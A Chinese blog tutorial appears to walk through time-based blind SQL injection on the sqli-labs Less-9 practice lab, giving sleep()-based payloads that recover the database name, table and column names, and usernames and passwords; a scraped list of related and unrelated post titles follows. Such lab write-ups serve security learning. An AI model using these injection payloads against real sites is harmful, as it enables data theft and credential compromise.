文章目录

  • 前言:
  • 一、基础知识
    • 1、时间盲注简介:
    • 2、时间盲注常用的函数:
  • 二、Less9 基于时间的单引号盲注
    • 1、判断数据库名的长度:
    • 2、猜测数据库:
    • 3、判断表名的长度
    • 4、猜测 security 的数据表:
    • 5、猜测 users 表的列:
    • 6、猜测 username 的值:

前言:

今天来总结下时间盲注的知识。

一、基础知识

1、时间盲注简介:

时间盲注 和 Bool 盲注很像,区别就是 “参照物” 的不同,Bool 盲注是通过页面的一些变化来进行判断结果,但是有时候,执行一些 sql 语句的测试,页面不会有像布尔盲注那样直观的变化,这个时候可以在布尔盲注的基础上结合 if 判断和 sleep() 函数来得到一个时间上的延迟参照,也就可以让我们进行一些判断。也就是所谓的 “时间盲注”,又叫“延时注入”。

2、时间盲注常用的函数:
if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
sleep(n)      将程序挂起一段时间 n单位为秒
left(a,b)     从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c)    从位置b开始,截取a字符串的c位
length()      返回字符串的长度
Ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符

直接来看题吧。

二、Less9 基于时间的单引号盲注


尝试使用单引号、双引号闭合、?id=1 and 1=2,都发现回显正常,说明这关对所有信息都做了统一输出。这时候就要使出最后的杀手锏了——延时注入,先判断能否延时注入:

127.0.0.1/sqli-labs/less-9/?id=1' and sleep(5)--+

等待了好几秒,说明sleep函数被执行了,即存在延时注入,并且闭合符号为单引号。

还是按照之前的方法继续盲注:

测试的核心语句是:if(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。

1、判断数据库名的长度:

语法:

?id=1' and if(leng(database())=x,1,sleep(5))--+

通过变换 x 的值来确定数据库名的长度,得到数据库名的长度为8。

2、猜测数据库:

语法:

?id=1' and if(ascii(substr(database(),x,1))=y,1,sleep(5))--+

测试第一位:

?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

测得第一位是 s(ascii 码是 115)

?id=1'and if(ascii(substr(database(),2,1))=101,1,sleep(5))--+

得到第二位是 e(ascii 码是 101)… 以此类推,知道了数据库名是 security。接下来猜解数据表。

首先要先判断表的长度

3、判断表名的长度

语法:

?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,1,sleep(5))--+

同理确定所有表名的长度。

4、猜测 security 的数据表:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))--+

猜得第一个数据表的第一位是 e,…依次类推,得到 emails

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,1,sleep(5))--+

得到第二个数据表的第一位是 r,…依次类推,得到 referers … 再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users。

接下来判断字段名与数据内容,还是和上面一样的套路,判断长度,判断名字,后面就不再赘述了。

5、猜测 users 表的列:
127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜得 users 表的第一个列的第一个字符是 i, 以此类推,得到列名是 id,username,password

6、猜测 username 的值:
127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+

猜得 username 的第一行的第一位,以此类推,得到 username,password 字段的所有内容。

以上就是利用 sleep() 函数注入的整个过程。手工注入过程很是繁琐,可以用二分法提高效率,但大部分情况下都会选择写脚本注入。

SQL注入学习——时间盲注详解 sqli-labs(Less 9)相关推荐

  1. SQL注入学习——Bool盲注详解 sqli-labs(Less 8)

    文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...

  2. sql注入学习——时间盲注

    前言:之前通过前九关学习到了回显注入.报错注入.布尔盲注等一些方法,这次就来详细的学习时间盲注. 在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回 ...

  3. sql注入学习——布尔盲注

    前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...

  4. SQL注入原理-时间盲注

    小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注. 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1.判 ...

  5. SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)

    什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...

  6. mysql基于时间盲注_MYSQL基于时间的盲注详解

    MYSQL基于时间的盲注 联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误 但是有时候网站关闭了错误回显或过滤了某些关键字,网页 ...

  7. mysql dba盲注_SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  8. SQL注入之布尔盲注——sql-lab第八关

    布尔盲注简介 什么是盲注 盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息. [之前在做联合注入第一关的时候,用union select语句注入 ...

  9. Blind SQL injection:盲注详解

    什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...

最新文章

  1. Nature:复杂菌群空间分布研究
  2. 关于IE8.0 Internet Explorer 已经为了帮助保护您的计算机而关闭此网页 解决方法
  3. (转)Sql中的constraint
  4. 这是从云栖大会指挥部发回的现场报道
  5. slf4j注解log报错_SpringBoot自定义日志注解,用于数据库记录操作日志,你用过吗?...
  6. LeetCode 946. 验证栈序列(栈)
  7. linux查看log软件
  8. 前端基础-CSS如何布局以及文档流,对于新手来说,特别有用
  9. OSChina 周六乱弹 ——用大脑直接写代码
  10. SpringBoot连接Redis服务出现Command timed out
  11. java hbase 例子,java操作hbase例子
  12. PX PT 磅 EM 以及PS中字间距VA单位的解释
  13. Spark RDD 练习
  14. 十条网站盈利模式分析总结
  15. python爬百度贴吧_从零开始写Python爬虫 --- 1.5 爬虫实践: 获取百度贴吧内容
  16. Obsidian看板指北
  17. SpringBoot 实现大文件视频转码(转码基于FFMPEG实现)
  18. 联通猫无线灯闪 不能连接服务器,光猫一直闪红灯不能上网是怎么回事 光猫闪红灯的解决方法...
  19. PTA 7-13 小明的家庭合影
  20. 4个小故事,分分钟看懂人民币汇率

热门文章

  1. c4d fbx大小_C4D一键竖排文字预设 建模辅助
  2. Spark的stage划分算法源码分析
  3. 二十五、Node中的Buffer缓冲器和EventEmitter事件触发器
  4. 微信小程序学习笔记(六)
  5. Javascript 盲区和 操作实例 笔记
  6. 一文通俗讲解元学习(Meta-Learning)
  7. 北京大学 微软:预训练模型(Transformer)中的知识神经元
  8. Show Attend and Tell的词表
  9. java基本类型的面试,15、基本类型常见面试题
  10. 算法系列之赫夫曼树的精解【构造流程及原理分析】